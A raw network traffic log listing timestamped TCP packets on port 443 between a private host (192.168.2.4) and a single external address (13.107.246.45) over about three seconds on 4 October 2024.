Oct 4, 2024 09:53:02.424128056 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.425928116 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426019907 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426080942 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426198006 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426376104 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426445961 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426510096 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426573038 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426636934 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426671028 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426680088 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426708937 CEST	57059	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426726103 CEST	443	57059	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426731110 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426755905 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.426779985 CEST	57060	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.426790953 CEST	443	57060	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.427475929 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.427571058 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.427673101 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.427727938 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.427757025 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.427912951 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.427966118 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.428849936 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.428952932 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.429085970 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.429145098 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.429169893 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.429193974 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.429223061 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.429248095 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.429454088 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.429476023 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.540260077 CEST	57057	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.540334940 CEST	443	57057	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.730271101 CEST	57061	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.730312109 CEST	443	57061	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.906969070 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.907522917 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.907557011 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:02.908159971 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:02.908166885 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.015785933 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.015942097 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.016056061 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.016166925 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.016192913 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.016207933 CEST	57062	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.016216040 CEST	443	57062	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.019000053 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.019088984 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.019191980 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.019334078 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.019359112 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.070296049 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.070887089 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.070951939 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.071067095 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.071238041 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.071250916 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.071274996 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.071891069 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.071974993 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.072196960 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.072211027 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.072253942 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.072292089 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.072532892 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.072545052 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.073506117 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.073709011 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.073724031 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.073986053 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.073996067 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.170742035 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.170794964 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.170911074 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.171148062 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.171195030 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.171224117 CEST	57063	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.171241999 CEST	443	57063	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.171439886 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.171516895 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.171578884 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.171680927 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.171726942 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.171758890 CEST	57066	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.171775103 CEST	443	57066	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.172568083 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.172694921 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.172769070 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.172904015 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.172904968 CEST	57064	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.172952890 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.172981024 CEST	443	57064	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.173866034 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.173990965 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.174057007 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.174619913 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.174674034 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.174732924 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.174745083 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.174751997 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.174772978 CEST	57065	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.174782038 CEST	443	57065	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.175348997 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.175396919 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.175471067 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.175738096 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.175760984 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.175833941 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.175853014 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.176182985 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.176193953 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.176251888 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.176395893 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.176407099 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.176702976 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.176719904 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.176774979 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.177000999 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.177011967 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.787519932 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.815304041 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.815351009 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.819545984 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.819600105 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.918628931 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.918787003 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.918865919 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.921330929 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.921364069 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.924612999 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.927659035 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.962016106 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.962359905 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.977510929 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.977669001 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.992196083 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.992208958 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.994349957 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.994359970 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.994781971 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.994781971 CEST	57067	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.994848967 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.994879961 CEST	443	57067	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.996212959 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.996223927 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.996786118 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.996792078 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.997251034 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.997303963 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.997709990 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.997725964 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.998333931 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.998346090 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:03.998981953 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:03.998992920 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.033471107 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.033556938 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.033807993 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.033919096 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.033948898 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.093753099 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.093920946 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.093980074 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.094471931 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.094598055 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.094629049 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.094687939 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.094759941 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.094805956 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.094880104 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.094898939 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.094917059 CEST	57068	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.094923019 CEST	443	57068	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.095868111 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.095880985 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.095890999 CEST	57070	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.095895052 CEST	443	57070	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.096498013 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.096503019 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.096510887 CEST	57069	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.096513033 CEST	443	57069	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.099061012 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.099148989 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.099231005 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.099863052 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.100013971 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.100059032 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.100516081 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.100538015 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.100605965 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.100692987 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.100728989 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.101067066 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.101073027 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.101087093 CEST	57071	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.101093054 CEST	443	57071	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.102413893 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.102495909 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.102566957 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.102600098 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.102622986 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.102667093 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.102689028 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.103799105 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.103885889 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.103952885 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.104188919 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.104223967 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.724514961 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.725099087 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.725178003 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.725538969 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.725553036 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.747143030 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.747626066 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.747665882 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.748214960 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.748229027 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.750384092 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.750760078 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.750773907 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.751159906 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.751169920 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.771509886 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.771866083 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.771924973 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.772546053 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.772561073 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.775954962 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.776268005 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.776328087 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.776740074 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.776755095 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.828670025 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.828833103 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.829122066 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.829122066 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.829122066 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.832137108 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.832253933 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.832360029 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.832597971 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.832621098 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.845568895 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.845643044 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.845757008 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.845809937 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.845824003 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.845854998 CEST	57074	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.845861912 CEST	443	57074	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.847791910 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.847820997 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.847906113 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.848090887 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.848114967 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.849509001 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.849668026 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.849728107 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.849771976 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.849776983 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.849787951 CEST	57073	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.849792957 CEST	443	57073	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.851932049 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.852021933 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.852123022 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.852281094 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.852308989 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.875178099 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.875327110 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.875458956 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.875459909 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.875535011 CEST	57075	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.875574112 CEST	443	57075	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.877392054 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.877434015 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.877506018 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.877679110 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.877691984 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.878518105 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.878671885 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.878742933 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.878820896 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.878820896 CEST	57076	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.878863096 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.878894091 CEST	443	57076	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.881335020 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.881422043 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:04.881521940 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.881676912 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:04.881711960 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.133950949 CEST	57072	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.134023905 CEST	443	57072	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.480340004 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.484728098 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.484798908 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.485430002 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.485446930 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.504247904 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.504597902 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.504606009 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.504956961 CEST	57078	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.504961014 CEST	443	57078	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.509685040 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.509931087 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.509973049 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.510226965 CEST	57079	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.510241985 CEST	443	57079	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.518261909 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.518508911 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.518572092 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.518773079 CEST	57081	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.518788099 CEST	443	57081	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.524311066 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.524545908 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.524564981 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.524826050 CEST	57080	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.524832010 CEST	443	57080	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.582539082 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.582707882 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.582773924 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.582835913 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.582835913 CEST	57077	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.582873106 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.582894087 CEST	443	57077	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.585671902 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.585764885 CEST	443	57082	13.107.246.45	192.168.2.4
Oct 4, 2024 09:53:05.586091042 CEST	57082	443	192.168.2.4	13.107.246.45
Oct 4, 2024 09:53:05.586091042 CEST	57082	443	192.168.2.4	13.107.246.45
